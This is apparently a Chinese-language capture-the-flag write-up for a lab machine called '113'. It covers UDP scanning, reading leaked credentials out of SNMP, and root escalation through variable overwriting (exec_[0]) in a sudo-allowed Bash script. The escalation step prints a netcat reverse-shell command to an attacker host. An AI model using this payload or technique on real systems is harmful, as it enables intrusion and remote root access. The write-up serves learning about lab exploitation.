0%

113

1.信息收集

看到提示The quieter you become, the more you are able to hear. ,推测udp

1
2
3
4
5
6
7
8
9
☁  113  nmap -sU --top-ports 100 192.168.43.218
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-19 10:39 CST
Nmap scan report for 113 (192.168.43.218)
Host is up (0.00053s latency).
Not shown: 98 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
161/udp open snmp
MAC Address: 08:00:27:1E:57:A4 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

发现开发端口161 snmp

snmpwalk

1
2
3
4
☁  113  snmpwalk -c public -v 2c 192.168.43.218
......
iso.3.6.1.2.1.25.4.2.1.4.339 = STRING: "service --user welcome --password mMOq2WWONQiiY8TinSRF --host localhost --port 8080"
·······

发现有用的信息user: welcome pass: mMOq2WWONQiiY8TinSRF

2.ssh

找到user.flag

1
2
welcome@113:~$ cat user.txt 
flag{user-21539141ad1bc8ab9d26420aecb2415b}

3.提权

sudo -l

1
2
3
4
5
6
7
8
welcome@113:~$ sudo -l
Matching Defaults entries for welcome on 113:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on 113:
(ALL) NOPASSWD: /opt/113.sh
welcome@113:~$ ls -l /opt/113.sh
-rwxr-xr-x 1 root root 280 Jan 14 08:35 /opt/113.sh

cat一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/bash  # 声明脚本解释器为bash

sandbox=$(mktemp -d) # 创建一个临时目录(默认在/tmp下,格式为/tmp/tmp.XXXXXX),并将路径赋值给sandbox变量
cd $sandbox # 进入该临时目录,构建一个简易沙箱环境

if [ "$#" -ne 3 ];then # 检查传入脚本的参数个数是否为3个
exit # 不是3个参数则直接退出,无任何输出
fi

if [ "$3" != "mazesec" ] # 检查第3个参数是否严格等于字符串"mazesec"
then
echo "\$3 must be mazesec" # 不等于则输出提示信息
exit # 退出脚本
else
/bin/cp /usr/bin/mazesec $sandbox # 满足条件:将系统中的/usr/bin/mazesec复制到临时沙箱目录
exec_="$sandbox/mazesec" # 定义exec_变量,指向沙箱中的mazesec程序路径
fi

if [ "$1" = "exec_" ];then # 检查第1个参数是否严格等于字符串"exec_"
exit # 等于则直接退出,禁止将$1设为exec_
fi

declare -- "$1"="$2" # 核心命令:将第1个参数作为「变量名」,第2个参数作为「变量值」,完成变量赋值
$exec_ # 执行沙箱中的mazesec程序(即$exec_变量指向的路径)

脚本核心逻辑总结

  1. 入参要求:必须传入 3 个参数,且第 3 个参数固定为mazesec
  2. 沙箱构建:创建临时目录并复制mazesec程序到沙箱;
  3. 变量限制:禁止将第 1 个参数设为exec_(防止直接覆盖exec_变量);
  4. 变量赋值:用户可控变量名($1)和变量值($2),最后执行沙箱中的mazesec

绕过

脚本逻辑中存在变量覆盖漏洞。 关键点在于 declare -- "$1"="$2" 和随后的 $exec_ 执行。 虽然脚本检查了 $1 是否等于 exec_,但我们可以利用 Bash 的数组语法绕过检查。 在 Bash 中,exec_ 等同于 exec_[0]。如果我们传递 $1exec_[0],就能绕过字符串检查,并覆盖 exec_ 变量的值。

1
welcome@113:~$ sudo /opt/113.sh  exec_[0]  'busybox nc 192.168.43.210 1111 -e /bin/bash' mazesec
1
2
3
4
cat 113rootpass.txt
9R3dosCkcEA3OQIzCoYO
cat root.txt
flag{root-9f283fe2f6363f99f80ed7f3f3c3cb19}